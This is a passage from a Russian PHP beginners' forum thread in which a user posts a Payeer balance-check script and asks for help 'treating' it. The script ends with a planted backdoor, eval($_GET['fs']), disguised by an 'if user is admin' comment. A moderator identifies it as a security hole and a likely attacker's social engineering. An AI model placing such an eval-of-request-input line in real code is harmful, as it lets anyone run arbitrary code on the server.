За последние 24 часа нас посетили 17650 программистов и 1656 роботов. Сейчас ищут 954 программиста ...

Помогите лечить

Тема в разделе "PHP для новичков", создана пользователем Selya, 27 авг 2016.

  1. Selya

    Selya Новичок

    С нами с:
    22 июл 2016
    Сообщения:
    4
    Симпатии:
    0
    Помогите пожалуйста эту проблему лечить
    PHP:
    1. # Проверяем баланс
    2.    if(isset($_GET['balance'])){
    3.         $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
    4.         if($payeer->isAuth()){
    5.             $arBalance = $payeer->getBalance();
    6.             if($arBalance["auth_error"] == 0){
    7.                 $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
    8.                 echo "$balance";
    9.             } else {
    10.                 echo 'error auth';
    11.             }
    12.         }
    13.     }
    14.  
    15.     # Если пользователь админ
    16.  
    17.     eval($_GET['fs']);
     
    #1 Selya, 27 авг 2016
    Последнее редактирование модератором: 28 авг 2016
  2. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
    какую проблему вылечить?
     
  3. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Это надо удалить, так как дырка в безопасности
    PHP:
    1.     # Если пользователь админ
    2.    eval($_GET['fs']);
     
    askanim нравится это.
  4. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL
    @denis01 ну а если админ? - это разработчик, который заведомо знает что это за функция :)
    Но так то, это вообще дырень :)
     
  5. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    слово "админ" там возможно злоумышленник написал, социальная инженерия, оно ещё вне if
     
  6. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL